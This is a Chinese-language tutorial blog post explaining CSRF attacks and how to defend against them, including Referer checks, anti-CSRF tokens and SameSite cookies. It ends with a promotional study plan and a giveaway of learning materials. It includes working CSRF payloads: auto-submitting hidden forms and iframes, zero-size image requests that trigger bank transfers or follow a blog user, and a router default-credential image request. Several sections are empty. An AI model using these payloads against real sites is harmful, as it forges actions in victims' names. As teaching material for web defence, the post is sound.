【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?

【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?CSRF 定义 跨站请求伪造 英语 Cross siterequestf 是一种对网站的恶意利用 也被称为 one clickattack 或者 sessionridin 通常缩写为 CS

大家好,欢迎来到IT知识分享网。

文章目录
  • 前言
  • CSRF概念
  • CSRF 原理
  • CSRF攻击防御
  • 防御方法
  • session 工作原理
  • 几种常见的攻击类型
  • CSRF 攻击实例
  • CSRF 攻击的对象
  • 当前防御 CSRF 的几种策略
  • * 验证 HTTP Referer 字段 
    • 在请求地址中添加 token 并验证
    • 在 HTTP 头中自定义属性并验证
    • Chrome浏览器端启用SameSite cookie
  • CSRF工具的防御手段
  • * 1\. 尽量使用POST,限制GET 
    • 2. 浏览器Cookie策略
    • 3. 加验证码
    • 4. Referer Check
    • 5. Anti CSRF Token
  • 总结

前言

CSRF概念

你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

对比XSS: 跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

CSRF 原理

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF攻击防御

CSRF攻击防御的重点是利用cookie的值只能被第一方读取,无法读取第三方的cookie值。

防御方法

预防csrf攻击简单可行的方法就是在客户端网页上再次添加一个cookie,保存一个随机数,而用户访问的时候,先读取这个cookie的值,hash一下这个cookie值并发送给服务器,服务器接收到用户的hash之后的值,同时取出之前设置在用户端的cookie的值,用同样的算法hash这个cookie值,比较这两个hash值,相同则是合法。(如果用户访问了病毒网站,也想带这个cookie去访问的时候,此时,因为病毒网站无法获取第三方cookie的值,所以他也就无法hash这个随机数,所以也就会被服务器校验的过滤掉)

session 工作原理

这里我们的高级会员卡卡号 = 保存在cookie的sessionid; 而我的高级会员卡权利和个人信息就是服务端的session对象了。

我们理解了session的工作机制后,CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡,哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞,享受美味的饮料了,而我在月底就会收到高尔夫俱乐部的账单!

CSRF攻击攻击原理及过程如下:

所以要被CSRF攻击,必须同时满足两个条件:

几种常见的攻击类型

<img src=http://wooyun.org/csrf?xx=11 /> 
<form action=http://wooyun.org/csrf.php method=POST> <input type="text" name="xx" value="11" /> </form> <script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

<img src=http://admin:admin@192.168.1.1 /> 

加载该图片后,路由器会给用户一个合法的 SESSION,就可以进行下一步操作了。

CSRF 攻击实例

<!DOCTYPE html>
<html>
    <!--其他页面元素-->
 
    <img src=http://www.bank.example/withdraw?account=daguanren1&amount=888&for=jinlian width='0' height='0'>
 
    <!--其他页面元素-->
</html>

这个请求就会附带上daguanren的session值,成功将大官人的888元转至jinlian的账户上。但如果daguanren之前没有登录网银,而是直接打开jinlian的网站,则由于没有session值,不会被攻击。以上示例虽然是get请求,post请求提交的表单同样会被攻击。

<form method='POST' action='http://www.bank.example/withdraw' target="csrf-frame" id="csrf-form"> <input type='hidden' name='account' value='daguanren1'> <input type='hidden' name='amount' value='888'> <input type='hidden' name='for' value='jinlian'> <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> 

CSRF 攻击的对象

那我只需要在我的一篇博文内容里面写一个img标签:

<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b" /> 
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <!--不嵌iframe会跳转-->
          <iframe style="display:none;">
               <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
                    <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
                    <input type="submit" value>
               </form>
               <script>
                    document.forms.form1.submit();
               </script>
          </iframe>
     </body>
</html>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <iframe style="display:none;" src="test2.html"></iframe>
     </body>
</html>

第二个隐藏页面(test2):

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>
<form action="Transfer.php" method="POST">     <p>ToBankId: <input type="text" name="toBankId" /></p>     <p>Money: <input type="text" name="money" /></p>     <p><input type="submit" value="Transfer" /></p>   </form> 

后台处理页面Transfer.php如下:

<?php     session_start();     if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))     {      buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);     }   ?> 

危险网站B,仍然只是包含那句HTML代码:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 
<?php     session_start();     if (isset($_POST['toBankId'] && isset($_POST['money']))     {      buy_stocks($_POST['toBankId'], $_POST['money']);     }   ?> 

然而,危险网站B与时俱进,它改了一下代码:

<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
               iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body οnlοad="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>

如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块…因为这里危险网站B暗地里发送了POST请求到银行!

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

当前防御 CSRF 的几种策略

在业界目前防御 CSRF 攻击主要有四种策略:

  • 验证 HTTP Referer 字段;
  • 在请求地址中添加 token 并验证;
  • 在 HTTP 头中自定义属性并验证;
  • Chrome 浏览器端启用 SameSite cookie

验证 HTTP Referer 字段

什么是HTTP Referer?下面GIF图是由百度跳转到邮箱页面的Referer查看示意:

可以看出Referer为

Referer:https://www.baidu.com/ 
const referer = request.headers.referer; if (referer.indexOf('www.bank.example') > -1) { // pass } 

如果黑客的网站是www.bank.example.hack.com,则referer检查无效。

在请求地址中添加 token 并验证

而对于 POST 请求来说,要在 form 的最后加上

<input type="hidden" name="csrftoken" value="tokenvalue"/> 

在 HTTP 头中自定义属性并验证

Chrome浏览器端启用SameSite cookie

CSRF工具的防御手段

1. 尽量使用POST,限制GET

2. 浏览器Cookie策略

3. 加验证码

验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

4. Referer Check

5. Anti CSRF Token

用户访问某个表单页面。

服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

在页面表单附带上Token参数。

用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

总结

接下来我将给各位同学划分一张学习计划表!

学习计划

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/113541.html

(0)
上一篇 2025-12-13 20:00
下一篇 2025-12-13 20:15

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信